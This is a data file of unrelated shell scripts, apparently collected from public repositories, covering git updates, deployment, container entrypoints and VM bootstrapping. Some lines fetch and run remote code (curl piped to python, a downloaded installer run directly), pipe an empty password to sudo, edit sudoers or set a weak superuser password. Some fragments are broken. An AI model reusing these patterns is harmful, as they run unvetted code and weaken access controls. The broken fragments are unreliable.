-eq 1 ]]; then\n\t\techo \"ETHUPDATE - INFO: Checking out commit ${BUILD_PR} for ${repository} as requested.\"\n\t\tget_repo_url $repository\n\t\tgit fetch --tags --progress $REPO_URL +refs/pull/*:refs/remotes/origin/pr/*\n\t\tgit checkout -f $BUILD_PR\n\t\tcd $ROOT_DIR\n\t\tcontinue\n\telif [[ $DO_SIMPLE_PULL -eq 1 ]]; then\n\t\techo \"ETHUPDATE - INFO: Performing simple pull for ${repository} ...\"\n\t\tgit pull $SHALLOW_FETCH\n\t\tif [[ $? -ne 0 ]]; then\n\t\t\techo \"ETHUPDATE - ERROR: Doing a simple pull for ${repository} failed. Skipping this repository ...\"\n\t\tfi\n\t\tgit submodule update\n\t\tcd $ROOT_DIR\n\t\tcontinue\n\tfi\n\n\tif [[ $REQUESTED_BRANCH != \"develop\" && $REQUESTED_BRANCH != \"master\" ]];then\n\t\t#by this point we should have succesfully fetched the branch from the remote so just check it out\n\t\tgit checkout -f $REQUESTED_BRANCH\n\t\tif [[ $? -ne 0 ]]; then\n\t\t\techo \"ETHUPDATE - ERROR: Could not check out branch ${REQUESTED_BRANCH} for repository ${repository}. Skipping ...\"\n\t\telse\n\t\t\techo \"ETHUPDATE - INFO: Checked out branch ${REQUESTED_BRANCH} for repository ${repository}.\"\n\t\tfi\n\t\tcd $ROOT_DIR\n\t\tcontinue\n\tfi\n\n\t# Pull changes from what the user set as the upstream repository, unless it's just been cloned\n\tif [[ $CLONED_THE_REPO -eq 0 ]]; then\n\t\tif [[ $REQUESTED_BRANCH == \"develop\" || $REQUESTED_BRANCH == \"master\" ]]; then\n\t\t\t# We get here if no special branch was requested, so make sure we got the non-special\n\t\t\t# branch checked out before pulling\n\t\t\techo \"ETHUPDATE - INFO: Make sure we are in $REQUESTED_BRANCH\"\n\t\t\tgit checkout -f $REQUESTED_BRANCH\n\t\tfi\n\t\tgit pull $UPSTREAM $REQUESTED_BRANCH $SHALLOW_FETCH\n\t\tgit submodule update\n\telse\n\t\t# if just cloned, make a local branch tracking the origin's requested branch\n\t\tgit fetch origin $SHALLOW_FETCH\n\t\tif [[ $BRANCH != $REQUESTED_BRANCH ]]; then\n\t\t\tgit checkout -f --track -b $REQUESTED_BRANCH origin/$REQUESTED_BRANCH\n\t\tfi\n\tfi\n\n\tif [[ $? -ne 0 ]]; then\n\t\tif [[ $DO_SIMPLE_PULL -eq 1 ]]; then\n\t\t\techo \"ETHUPDATE - INFO: ${repository} failed to pull ${REQUESTED_BRANCH}. Performing a simple pull anyway ...\"\n\t\t\tgit pull $SHALLOW_FETCH\n\t\t\tif [[ $? -ne 0 ]]; then\n\t\t\t\techo \"ETHUPDATE - ERROR: Doing a simple pull for ${repository} failed. Skipping this repository ...\"\n\t\t\tfi\n\t\t\tgit submodule update\n\t\telse\n\t\t\techo \"ETHUPDATE - ERROR: Pulling changes for repository ${repository} from ${UPSTREAM} into the ${REQUESTED_BRANCH} branch failed.\"\n\t\tfi\n\t\tcd $ROOT_DIR\n\t\tcontinue\n\tfi\n\t# If upstream and origin are not the same, push the changes back to origin and no push has not been asked\n\tif [[ $NO_PUSH -eq 0 && $UPSTREAM != $ORIGIN ]]; then\n\t\tgit push $ORIGIN $REQUESTED_BRANCH\n\t\tif [[ $? -ne 0 ]]; then\n\t\t\techo \"ETHUPDATE - ERROR: Could not update origin ${ORIGIN} of repository ${repository} for the ${REQUESTED_BRANCH}.\"\n\t\t\tcd $ROOT_DIR\n\t\t\tcontinue\n\t\tfi\n\tfi\n\techo \"ETHUPDATE - INFO: ${repository} succesfully updated!\"\n\tcd $ROOT_DIR\ndone"} {"text": "set -e\n\ncd src\nbower install\nmv bower_components/showdown/dist/showdown.min.js ./\nrm -r bower_components\ncd .."} {"text": "1000+\n#!/bin/bash\n# Copyright 2015 gRPC authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -e\n\ncd \"$(dirname \"$0\")\"\n\nCSHARP_VERSION=\"$1\"\nif [ \"$CSHARP_VERSION\" == \"auto\" ]\nthen\n # autodetect C# version from the name of Grpc.Core.0.0.0-x.nupkg file\n # TODO: find a better shellcheck-compliant way to write the following line\n # shellcheck disable=SC2010\n CSHARP_VERSION=$(ls TestNugetFeed | grep -m 1 '^Grpc\\.Core\\.[0-9].*\\.nupkg$' | sed s/^Grpc\\.Core\\.// | sed s/\\.nupkg$// | sed s/\\.symbols$//)\n echo \"Autodetected nuget ${CSHARP_VERSION}\"\nfi\n\n# Replaces version placeholder with value provided as first argument.\nsed -ibak \"s/__GRPC_NUGET_VERSION__/${CSHARP_VERSION}/g\" DistribTest/packages.config DistribTest/DistribTest.csproj DistribTest/DistribTestDotNet.csproj test_codegen/test_codegen.sh"} {"text": "100-1000\n#!/bin/bash\n\n# Jamf Pro Extension Attribute which checks and validates the following:\n#\n# 1. Jamf Protect is installed\n# 2. The Jamf Protect processes are running.\n#\n# If Jamf Protect is installed and running properly:\n#\n# /Library/Application Support/JamfProtect/JamfProtect.app will be executable.\n# Running the following command will return one or more results:\n#\n# pgrep JamfProtect\n#\n# If Jamf Protect is installed and the processes are running, \n# the following message is displayed:\n#\n# 1\n#\n# Otherwise, the following result is returned:\n#\n# 0\n\nJamfProtectInstallPath=\"/Library/Application Support/JamfProtect/JamfProtect.app\"\nisRunning=0\n\n# If the Jamf Protect app is detected and executable,\n# next check for the Jamf Protect processes.\n\nif [[ -x \"$JamfProtectInstallPath\" ]]; then\n\n\t# check for Jamf Protect process\n\tJPProcess=$( pgrep JamfProtect )\n\n\tif [[ -n \"$JPProcess\" ]]; then\n\t\tisRunning=1\n\tfi\nfi\n\necho \"$isRunning\"\n\nexit 0"} {"text": "#!/bin/sh\n\ncd ~/voiptests.drachtio\nwhile true; do python3.7 alice.py -4 -t 1 -l '*' -P 50601 -T 120 -n drachtio.org:5060; sleep 3; done"} {"text": "#Intensive module\nexport SQUAD_DIR=data/uit-visquad\nexport TRAIN_FILE=train-3.json\nexport DEV_FILE=dev-3.json\nexport PREDICT_FILE=ptest.json\npython ./run_av.py \\\n --model_type xlm-roberta-dep2 \\\n --model_name_or_path xlm-roberta-large \\\n --do_train \\\n --do_eval \\\n --do_lower_case \\\n --version_2_with_negative \\\n --train_file $SQUAD_DIR/$TRAIN_FILE \\\n --predict_file $SQUAD_DIR/$DEV_FILE \\\n --learning_rate 2e-5 \\\n --num_train_epochs 10 \\\n --max_seq_length 384 \\\n --doc_stride 128 \\\n --max_query_length=64 \\\n --per_gpu_train_batch_size=8 \\\n --per_gpu_eval_batch_size=16 \\\n --warmup_steps=814 \\\n --output_dir models/uit-visquad/xlm-r-dep2-3 \\\n --eval_all_checkpoints \\\n --save_steps 5000 \\\n --n_best_size=20 \\\n --max_answer_length=50 \\\n --overwrite_output_dir \\\n --overwrite_cache"} {"text": "btc-notify.sh\n#!/bin/bash\n#\n# O `btc-notify` busca o JSON da API de dados do Mercado Bitcoin, \n# faz o parse dos dados e envia uma notificação no desktop com a \n# última cotação do Bitcoin negociado nesta exchange e seu timestamp.\n#\n# Veja instruções de uso em https://github.com/denisdl/btc-notify\n#\n# v1.3.0\n#\n# \n# --------------------\n#\n# variáveis de ambiente para o notify-send funcionar a partir do cron\n# https://askubuntu.com/questions/298608/notify-send-doesnt-work-from-crontab\nuser=$(whoami)\npid=$(pgrep -u $user gnome-session | head -n 1)\ndbus=$(grep -z DBUS_SESSION_BUS_ADDRESS /proc/$pid/environ | sed 's/DBUS_SESSION_BUS_ADDRESS=//' )\nexport DBUS_SESSION_BUS_ADDRESS=$dbus\nexport HOME=/home/$user\nexport DISPLAY=:0\n\n# path deste script\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\n# curl & parse dos dados \nBTC_TICKER=$(curl -s https://www.mercadobitcoin.net/api/BTC/ticker/)\nBTC_TIME=$(date -d @$(echo $BTC_TICKER | jq '.[].date' --raw-output; ))\nBTC_LAST=\"1 BTC = `(echo $BTC_TICKER | jq '.[].last' --raw-output)` BRL\"\n\n# envio da notificação por Slack ou notify-send\nif [ \"$BTC_NOTIFY_APP\" = \"slack\" ]\nthen\n curl -q -X POST --data-urlencode 'payload={\"username\": \"btc-notify\", \"text\": \"'\"$BTC_TIME\\n$BTC_LAST\"'\", \"icon_emoji\": \":moneybag:\"}' $BTC_NOTIFY_SLACK_HEBHOOK\nelif [ \"$BTC_NOTIFY_APP\" = \"espeak\" ]\nthen\n BTC_LAST=$(echo $BTC_LAST | cut -d\\. -f1 | sed 's/BTC/Bitcoin/g')\n /usr/bin/padsp /usr/bin/espeak -vpt \"$BTC_LAST\" & disown\nelse\n /usr/bin/notify-send \"$(echo $BTC_TIME)\" \"$(echo $BTC_LAST)\" \\\n -t 3000 --icon=\"$DIR/img/bitcoin-logo.png\"\nfi"} {"text": "1-10\n#!/usr/bin/env bash\n\nif [ $UID -eq 0 ]; then\n\n echo \"Iniciando o entrypoint com root\"\n\n if [ -d /home/temp/.ssh ]; then\n\n ls -ld /home/temp/.ssh | awk '{print $3}'\n\n ODOO_USER_ID=$(ls -ld /home/temp/.ssh | awk '{print $3}')\n ODOO_GROUP_ID=$(ls -ld /home/temp/.ssh | awk '{print $4}')\n\n # adduser\n echo \"Changing odoo user Id to be the same from host: $ODOO_USER_ID\"\n usermod -u $ODOO_USER_ID odoo\n groupmod -g $ODOO_GROUP_ID odoo\n\n cp /home/temp/.ssh/id_rsa /opt/.ssh/id_rsa\n cp /home/temp/.ssh/id_rsa.pub /opt/.ssh/id_rsa.pub\n chmod 400 /opt/.ssh/id_rsa\n chmod 400 /opt/.ssh/id_rsa.pub\n chown odoo:odoo /opt/.ssh/id_rsa\n chown odoo:odoo /opt/.ssh/id_rsa.pub\n\n # Altera as permissões\n chown -R odoo:odoo /opt\n chown -R odoo:odoo /var/log/odoo\n chown odoo:odoo /etc/odoo/odoo.conf\n chown odoo:odoo /var/run/odoo.pid\n chown odoo:odoo /opt/odoo/autoupdate\n\n fi\n\n # Quando atualizando é bom deixar o log aparecer no terminal\n if [ $DISABLE_LOGFILE == 1 ]; then\n export LOG_FILE=False\n fi\n\n cd /opt/odoo\n chown odoo:odoo /etc/odoo/odoo.conf\n exec env su odoo \"$0\" -- \"$@\"\n\nfi\n\nexport PATH=\"/opt/odoo:$PATH\"\nexport PATH=\"/opt/odoo/odoo:$PATH\"\n\necho \"Iniciando o entrypoint com odoo\"\ncd /opt/odoo\n\n# Se existir a chave tenta baixar os repositórios privados\nif [ -f /opt/.ssh/id_rsa ]; then\n ssh-keyscan github.com >> ~/.ssh/known_hosts\n ssh-keyscan gitlab.com >> ~/.ssh/known_hosts\n\n if [ ! -d private-apps ]; then\n git clone --single-branch -b $ODOO_VERSION $PRIVATE_APPS\n fi\nfi\n\n# Monta o addons_path\ndirectories=$(ls -d -1 $PWD/**)\npath=\",\"\nfor directory in $directories; do\n if [ -d $directory ]; then\n if [ $directory != \"/opt/odoo/odoo\" ]; then\n path=\"$path\"\"$directory\",\n fi\n fi\ndone\nexport ADDONS_PATH=\"$path\"\n\n# Modifica as variáveis do odoo.conf baseado em variáveis de ambiente\nconf=$(cat odoo.conf | envsubst)\necho \"$conf\" > /etc/odoo/odoo.conf\n\nexec \"$@\"\necho \"Finalizou o entrypoint\""} {"text": "#! /bin/sh\n\nnosetests --verbose --with-doctest --with-coverage shutdown_if_no_usage.py $@ && find -name '*.py' | xargs flake8"} {"text": "Tinvention/cqrs-data-mock\n#!/bin/bash\n\necho \"starting kafka\"\n\nbin/kafka-server-start.sh -daemon config/server.properties"} {"text": "pub/build_pub_repo_v2.sh\n#!/usr/bin/env bash\n# usage: build_pub_repo_v2.sh local_repo_name\n# example: build_pub_repo_v2.sh athena_working\n\n# fileglob of private files and directories\n# the filename needs to include the path with respect\n# to the top of the Git repo\n# Here is an example for excluding multiple directories\n# private_files=\"{pub,private,inputs}\"\n# Note: for a single directory, you should not use the curly\n# brackets e.g.\n# incorrect: private_files=\"{pub}\"\n# correct: private_files=\"pub\"\nprivate_files=\"{pub,tst/ci,.travis.yml,.github,.github_changelog_generator,CONTRIBUTING.md,CHANGELOG.md}\"\n\n# Repo HTTPS URLs:\n# priv_repo_url=\"https://github.com/PrincetonUniversity/athena.git\"\n# pub_repo_url=\"https://github.com/PrincetonUniversity/athena-public-version.git\"\n# Repo SSH URLs:\npriv_repo_url=\".com:PrincetonUniversity/athena.git\"\npub_repo_url=\".com:PrincetonUniversity/athena-public-version.git\"\n\n# data for this script\n## branch on remote private repo from which to create public release\n## (must be an actual branch and not a tag in order to rewrite local history/filter-branch)\npriv_repo_priv_branch=\"release/1.1.1\"\n## local workspace branch for drafting the public release\npriv_repo_pub_branch=\"public\"\n\npub_remote_name=\"public_repo\"\npub_repo_branch=\"master\"\n\npre_push_hook=\"pub/pre-push\"\npost_commit_hook=\"pub/post-commit\"\n\nlocal_repo_name=$1\n\n# clone private repo\ngit clone $priv_repo_url $local_repo_name\ncd $local_repo_name\ngit pull --tags\n\n# Copy the pre-push hook to the cloned repo\nif [ -e $pre_push_hook ]\nthen\n cp $pre_push_hook .git/hooks/\n chmod 766 .git/hooks/pre-push\nelse\n echo the pre-push hook does not exists\n exit 1\nfi\n\n# get the private repo branch to be made public\n# (if this is called after the \"git filter-branch ... \" command, the checkout\n# will return a non-filtered copy of the remote branch)\ngit checkout $priv_repo_priv_branch\n\n# clean up the files and directories we don't want to make public\ngit filter-branch --force --index-filter \\\n \"git rm -r --cached --ignore-unmatch $private_files\" \\\n --prune-empty --tag-name-filter cat -- --all\n\n# add the public_repo remote\ngit remote add $pub_remote_name $pub_repo_url\ngit fetch --all # will not overwrite the filtered tags\n\n# Create the \"public\" branch by pulling the master branch of\n# the public repo. The \"public\" branch of the private repo is\n# now tracking the master branch of the public repo so that\n# \"git push\" and \"git pull\" will be towards public_repo:master\ngit checkout -b $priv_repo_pub_branch\ngit branch -u $pub_remote_name/$pub_repo_branch $priv_repo_pub_branch\n# squash commits on previous public version\ngit reset --soft $pub_remote_name/$pub_repo_branch\n\n# configure git so it pushes from the public branch to public_repo:master\ngit config push.default upstream\n\n# purge the deleted files from the packfile\ngit for-each-ref --format='delete %(refname)' refs/original | git update-ref --stdin\ngit reflog expire --expire=now --all\ngit gc --aggressive --prune=now\n\n# git diff public..public_repo/master\n# git commit -m \"Second public release of Athena++\"\n# git branch -vv"} {"text": "nelqatib/letudiant-cli-offer-scrapper\n#!/bin/bash -e\n\nWHITE='\\033[1;37m'\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nNC='\\033[0m' # No Color\n\ntest_multi_pages(){\n for i in $(seq 1 10); do\n printf \"${WHITE}main.py --pages $i ...\"\n python offer-scrapper/main.py --pages \"$i\" >> tests/tmp_$$\n # check that we have the correct numberof lines (10 (offers/page) + 1) per page requested\n # .. and check also that the lines are unique (no duplicates as in previous issues)\n if [[ $(uniq tests/tmp_$$| wc -l| cut -d' ' -f1) -ne $(((i * 11) - 3)) ]]; then\n printf \"${RED} failed${NC}\\n\"\n rm -f tests/tmp_$$\n exit\n else\n printf \"${GREEN} OK${NC}\\n\"\n fi\n rm -f tests/tmp_$$\n done\n}\n\n# TODO: e.g., use: 'echo -e \"1\\rq\\r\"| ./offer-scrapper/main.py -i' to trigger the first offer\ntest_interactive(){\n echo \"Not yet inmplemented\"\n}\n\ntest_multi_pages\ntest_interactive"} {"text": "#!/bin/bash\npython manage.py syncdb --noinput\necho \"from django.contrib.auth.models import User; User.objects.create_superuser('carlos', '', 'carlos')\" | python manage.py shell"} {"text": "#!/bin/bash\n# Environment for Windows\n# Usage:\n# source \n\n###### SCRIPT CONFIG ######\nconda_script_dir=\"\"\"\n${HOME}/Anaconda3/Scripts\n${HOME}/.anaconda3/bin\n/opt/anaconda3/bin\n/home/ilmari/miniconda3/bin/conda\n\"\"\"\nenv_name=\"qgen2\"\n###### SCRIPT CONFIG ######\n\nif [[ ! -n \"$(command -v conda)\" ]]; then\n # loop over all possible directories\n for dir in ${conda_script_dir}; do\n activation_script=${dir}/activate\n if [[ -f ${activation_script} ]]; then\n echo \"Found the env script:\" \"${activation_script}\"\n source ${activation_script}\n break\n fi\n done\n\n # check if\n if [[ ! -n \"$(command -v conda)\" ]];then\n echo \"ERROR: Please activate conda env and source this script!\"\n fi\nfi\n\necho \"Going to activate the env: ${env_name}\"\nconda activate ${env_name}"} {"text": "#!/bin/bash\n\net -m -c src/styles/element-variables.scss -o src/styles/theme"} {"text": "10-100\n#!/usr/bin/env bash\n# Test:\n# Disable, enable and accept a shared hook\n\nTEST_DIR=$(cd \"$(dirname \"$0\")\" && pwd)\n# shellcheck disable=SC1091\n. \"$TEST_DIR/general.sh\"\n\nacceptAllTrustPrompts || exit 1\n\ngit config --global githooks.testingTreatFileProtocolAsRemote \"true\"\n\nif ! \"$GH_TEST_BIN/cli\" installer; then\n echo \"! Failed to execute the install script\"\n exit 1\nfi\n\nmkdir -p \"$GH_TEST_TMP/test112.shared/shared-repo.git/.githooks/pre-commit\" &&\n cd \"$GH_TEST_TMP/test112.shared/shared-repo.git\" &&\n git init &&\n echo \"echo 'Shared invoked' > '$GH_TEST_TMP/test112.out'\" >.githooks/pre-commit/test-shared &&\n echo \"mygagahooks\" >.githooks/.namespace &&\n git add .githooks &&\n git commit -m 'Initial commit' ||\n exit 2\n\nmkdir -p \"$GH_TEST_TMP/test112.repo\" &&\n cd \"$GH_TEST_TMP/test112.repo\" &&\n git init || exit 3\n\n\"$GH_INSTALL_BIN_DIR/cli\" shared add --shared file://\"$GH_TEST_TMP/test112.shared/shared-repo.git\" || exit 41\n\"$GH_INSTALL_BIN_DIR/cli\" shared list | grep \"shared-repo\" | grep \"'pending'\" || exit 42\n\"$GH_INSTALL_BIN_DIR/cli\" shared update || exit 43\n\nif ! \"$GH_INSTALL_BIN_DIR/cli\" list | grep 'test-shared' | grep 'shared:repo' | grep \"'active'\" | grep \"'untrusted'\"; then\n \"$GH_INSTALL_BIN_DIR/cli\" list\n exit 5\nfi\n\n\"$GH_INSTALL_BIN_DIR/cli\" ignore add --pattern 'ns:mygagahooks/**/test-shared' ||\n exit 6\n\nif ! \"$GH_INSTALL_BIN_DIR/cli\" list | grep 'test-shared' |\n grep \"'shared:repo'\" | grep \"'ignored'\" | grep -q \"'untrusted'\"; then\n echo \"! Failed to ignore shared hook\"\n exit 7\nfi\n\n\"$GH_INSTALL_BIN_DIR/cli\" ignore add --pattern '!ns:*/**/test-shared' ||\n exit 8\n\nif ! \"$GH_INSTALL_BIN_DIR/cli\" list | grep 'test-shared' |\n grep \"'shared:repo'\" | grep \"'active'\" | grep -q \"'untrusted'\"; then\n echo \"! Failed to activate shared hook\"\n exit 7\nfi\n\n\"$GH_INSTALL_BIN_DIR/cli\" trust hooks --pattern 'ns:my*hooks/**/test-shared' ||\n exit 10\n\nif ! \"$GH_INSTALL_BIN_DIR/cli\" list | grep 'test-shared' |\n grep \"'shared:repo'\" | grep \"'active'\" | grep -q \"'trusted'\"; then\n echo \"! Failed to trust shared hook\"\n exit 7\nfi"} {"text": "scripts/.backup.sh\necho '' | sudo -S su\nexit"} {"text": "#!/bin/bash\nsource utils.sh\nsharedir=${AMK}/share\nname=$1\ninputfile=amk.dat\ncwd=$PWD\n###reading input\nread_input\n###\nif [ \"$program_opt\" != \"qcore\" ]; then\n##ndis forward\n awk '/Pro/{n=0};NF==4{++n;a[n]=$0};END{print '$natom';print \"\";for(i=1;i<=n;i++) print a[i]}' $tsdirll/IRC/${name}_ircf.xyz > mingeom\n createMat.py mingeom 3 $nA\n echo \"1\" $natom > sprint.dat\n cat ConnMat >> sprint.dat\n if [ $(sprint2.exe $tsdirll/IRC/minf_${name}.mop\n else\n if [ $recalc -eq -1 ]; then\n sed 's@method@'\"$method\"' denout charge='$charge'@;s@precise@@' $sharedir/freq_template1 > $tsdirll/IRC/minf_${name}.mop\n else\n sed 's@method@'\"$method\"' denout recalc='$recalc' charge='$charge'@;s@precise@@' $sharedir/freq_template1 > $tsdirll/IRC/minf_${name}.mop\n fi\n fi\n awk '/Pro/{n=0};NF==4{++n;a[n]=$0};END{for(i=1;i<=n;i++) print a[i];print \"\"}' $tsdirll/IRC/${name}_ircf.xyz >> $tsdirll/IRC/minf_${name}.mop\n#thermo calc on top of the previous calc\n sed 's/thermo/thermo('$temperature','$temperature')/;s/method/'\"$method\"' oldens oldgeo charge='$charge'/' $sharedir/thermo_template >> $tsdirll/IRC/minf_${name}.mop\n##ndis reverse \n awk '/Pro/{n=0};NF==4{++n;a[n]=$0};END{print '$natom';print \"\";for(i=1;i<=n;i++) print a[i]}' $tsdirll/IRC/${name}_ircr.xyz > mingeom\n createMat.py mingeom 3 $nA\n echo \"1\" $natom > sprint.dat\n cat ConnMat >> sprint.dat\n if [ $(sprint2.exe $tsdirll/IRC/minr_${name}.mop\n else\n if [ $recalc -eq -1 ]; then\n sed 's@method@'\"$method\"' denout charge='$charge'@;s@precise@@' $sharedir/freq_template1 > $tsdirll/IRC/minr_${name}.mop\n else\n sed 's@method@'\"$method\"' denout recalc='$recalc' charge='$charge'@;s@precise@@' $sharedir/freq_template1 > $tsdirll/IRC/minr_${name}.mop\n fi\n fi\n awk '/Pro/{n=0};NF==4{++n;a[n]=$0};END{for(i=1;i<=n;i++) print a[i];print \"\"}' $tsdirll/IRC/${name}_ircr.xyz >> $tsdirll/IRC/minr_${name}.mop\n#thermo calc on top of the previous calc\n sed 's/thermo/thermo('$temperature','$temperature')/;s/method/'\"$method\"' oldens oldgeo charge='$charge'/' $sharedir/thermo_template >> $tsdirll/IRC/minr_${name}.mop\nelse\n sed 's@min@'$tsdirll'/IRC/'${name}'_forward_last@;s@carga@'$charge'@' $sharedir/opt > $tsdirll/IRC/${name}_forward_last_opt.dat\n sed 's@min@'$tsdirll'/IRC/'${name}'_reverse_last@;s@carga@'$charge'@' $sharedir/opt > $tsdirll/IRC/${name}_reverse_last_opt.dat\n sed 's@temp_amk@'$temperature'@;s@opt@'$tsdirll'/IRC/'${name}'_forward_last_opt@;s@freq@'$tsdirll'/IRC/minf_'${name}'@;s@carga@'$charge'@' $sharedir/opt_thermo > $tsdirll/IRC/minf_${name}.dat\n sed 's@temp_amk@'$temperature'@;s@opt@'$tsdirll'/IRC/'${name}'_reverse_last_opt@;s@freq@'$tsdirll'/IRC/minr_'${name}'@;s@carga@'$charge'@' $sharedir/opt_thermo > $tsdirll/IRC/minr_${name}.dat\nfi"} {"text": "#!/usr/bin/env bash\n\n# Download Vulkan SDK\nwget http://jsbevilacqua.com/vulkansdk-linux-x86_64-1.0.46.0.run\nchmod u+x vulkansdk-linux-x86_64-1.0.46.0.run\n./vulkansdk-linux-x86_64-1.0.46.0.run\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nexport LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$DIR/VulkanSDK/1.0.46.0/x86_64/lib/\nexport VK_LAYER_PATH=$DIR/VulkanSDK/1.0.46.0/x86_64/etc/explicit_layer.d"} {"text": "#!/bin/bash\n#\n# Copyright 2020 Gravitational, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n#\n# File passed to VM at creation time\n#\nset -euo pipefail\n\nfunction add_host {\n local hostname=$(hostname)\n if ! grep -q \"$hostname\" /etc/hosts; then\n echo -e \"127.0.0.1\\t$hostname\" >> /etc/hosts\n fi\n}\n\ntouch /var/lib/bootstrap_started\n\n# disable Hyper-V time sync\necho 2dd1ce17-079e-403c-b352-a1921ee207ee > /sys/bus/vmbus/drivers/hv_util/unbind\n\napt update\napt install -y chrony lvm2 curl wget thin-provisioning-tools\ncurl https://bootstrap.pypa.io/get-pip.py | python -\npip install --upgrade awscli\n\nmkfs.ext4 -F /dev/sdc\necho -e '/dev/sdc\\t/var/lib/gravity/planet/etcd\\text4\\tdefaults\\t0\\t2' >> /etc/fstab\n\nmkdir -p /var/lib/gravity/planet/etcd /var/lib/data\nmount /var/lib/gravity/planet/etcd\n\nchown -R 1000:1000 /var/lib/gravity /var/lib/data /var/lib/gravity/planet/etcd\nsed -i.bak 's/Defaults requiretty/#Defaults requiretty/g' /etc/sudoers\n\n# Preflight tests expectations\nmodprobe br_netfilter || true\nmodprobe overlay || true\nmodprobe ebtables || true\nmodprobe ip_tables || true\nmodprobe iptable_filter || true\nmodprobe iptable_nat || true\nsysctl -w net.ipv4.ip_forward=1\nsysctl -w net.bridge.bridge-nf-call-iptables=1\n\n# make changes permanent\ncat > /etc/sysctl.d/50-telekube.conf < /etc/modules-load.d/telekube.conf <EGA-archive/ega-dataedge\n#!/bin/bash\ngit clone https://github.com/elixir-europe/ega-data-api-v3-cipher.git\nmvn -f /ega-data-api-v3-cipher/pom.xml install\ngit clone https://github.com/elixir-europe/ega-data-api-v3-dataedge.git\nmvn -f /ega-data-api-v3-dataedge/pom.xml install\nmv /ega-data-api-v3-dataedge/target/DataEdgeService-0.0.1-SNAPSHOT.war /EGA_build\nmv /ega-data-api-v3-dataedge/docker/dsedged.sh /EGA_build\nmv /ega-data-api-v3-dataedge/docker/Dockerfile_Deploy /EGA_build"} {"text": "jennapederson/hello-express\n#!/bin/bash\necho \"START application_stop\"\npm2 stop all\necho \"END application_stop\"\nexit 0"} {"text": "repository/scripts/loop_cut_arg.sh\n\nfor gapminderfile in [U-Z]*.txt\ndo\n echo $gapminderfile # output filename to screen\n cut -f \"$1,$2,$3\" $gapminderfile | sort -\"$5\" | head -\"$4\"\ndone"} {"text": "zakjan/object-path-parser\n#!/usr/bin/env bash -eu\n\nmvn clean deploy"} {"text": "1-10\n#!/bin/bash\npwd\nenv\necho \"Installing via so-setup\"\nSecurityOnion/setup/so-setup iso ucwt-iso\necho \"Finished installing via so-setup\""} {"text": "deevya2000/application-modernization-javaee-quarkus\n#!/bin/bash\n\nSCRIPT_FOLDER=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" &> /dev/null && pwd )\"\nPROJECT_FOLDER=\"$(cd $SCRIPT_FOLDER; cd ..; pwd )\"\n\nexec 3>&1\n\nfunction _out() {\n echo \"$(date +'%F %H:%M:%S') $@\"\n}\n\nfunction setup() {\n _out Deploying service-catalog-quarkus-synch\n \n _out Cleanup\n oc delete secret ibm-cloud-postgres-cert --ignore-not-found\n\n rm -r ${PROJECT_FOLDER}/service-catalog-quarkus-reactive/target\n cd ${PROJECT_FOLDER}/service-catalog-quarkus-reactive\n oc delete -f deployment/kubernetes.yaml --ignore-not-found\n oc delete route service-catalog-quarkus-reactive --ignore-not-found\n oc delete is build-service-catalog-quarkus-reactive --ignore-not-found\n oc delete bc/build-service-catalog-quarkus-reactive --ignore-not-found\n\n rm -r ${PROJECT_FOLDER}/service-catalog-quarkus-synch/target\n cd ${PROJECT_FOLDER}/service-catalog-quarkus-synch\n oc delete -f deployment/kubernetes.yaml --ignore-not-found\n oc delete route service-catalog-quarkus-reactive --ignore-not-found\n oc delete is build-service-catalog-quarkus-synch --ignore-not-found\n oc delete bc/build-service-catalog-quarkus-synch --ignore-not-found\n\n cd ${PROJECT_FOLDER}/service-catalog-quarkus-synch/src/main/resources\n rm application.properties\n cp application-openshift.properties application.properties\n\n oc new-project app-mod-dev\n oc project app-mod-dev\n cd ${PROJECT_FOLDER}/service-catalog-quarkus-synch\n oc create secret generic ibm-cloud-postgres-cert --from-file ibm-cloud-postgres-cert\n\n oc new-build --name build-service-catalog-quarkus-synch --binary --strategy docker\n oc start-build build-service-catalog-quarkus-synch --from-dir=. --follow\n \n oc apply -f deployment/kubernetes.yaml\n\n cd ${PROJECT_FOLDER}/service-catalog-quarkus-synch/src/main/resources\n rm application.properties\n cp application.properties.container-unmanaged application.properties\n rm -r ${PROJECT_FOLDER}/service-catalog-quarkus-synch/target\n\n _out Done deploying service-catalog-quarkus-synch\n ROUTE=$(oc get route service-catalog-quarkus-reactive --template='{{ .spec.host }}')\n _out Wait until the pod has been started: \"oc get pod --watch | grep service-catalog-quarkus-synch\"\n \n _out \"Invoke the endpoints:\"\n _out \"--- curl http://${ROUTE}/CustomerOrderServicesWeb/jaxrs/Category\"\n _out \"--- curl http://${ROUTE}/CustomerOrderServicesWeb/jaxrs/Product/?categoryId=2\"\n CREATE_NEW=\"http://${ROUTE}/CustomerOrderServicesWeb/jaxrs/Product/1 -H 'accept: application/json' -H 'Content-Type: application/json' -d '{\\\"id\\\":1, \\\"price\\\":50}'\"\n _out \"--- curl -X PUT ${CREATE_NEW}\"\n}\n\nsetup"} {"text": "1-10\n#!/usr/bin/env bash\n\nexport WORKDIR=/tmp/mdstudio\nexport MD_CONFIG_ENVIRONMENTS=dev,docker\n\n# Docker and standalone services\nSERVICES=(\"mdstudio_structures\" \"mdstudio_smartcyp\" \"mdstudio_atb\" \"mdstudio_amber\" \"mdstudio_propka\" \"mdstudio_haddock\" \"mdstudio_pylie\")\nSTANDALONE_SERVICES=( \"mdstudio_gromacs\")\nMDSTUDIO_LOGS=$( pwd 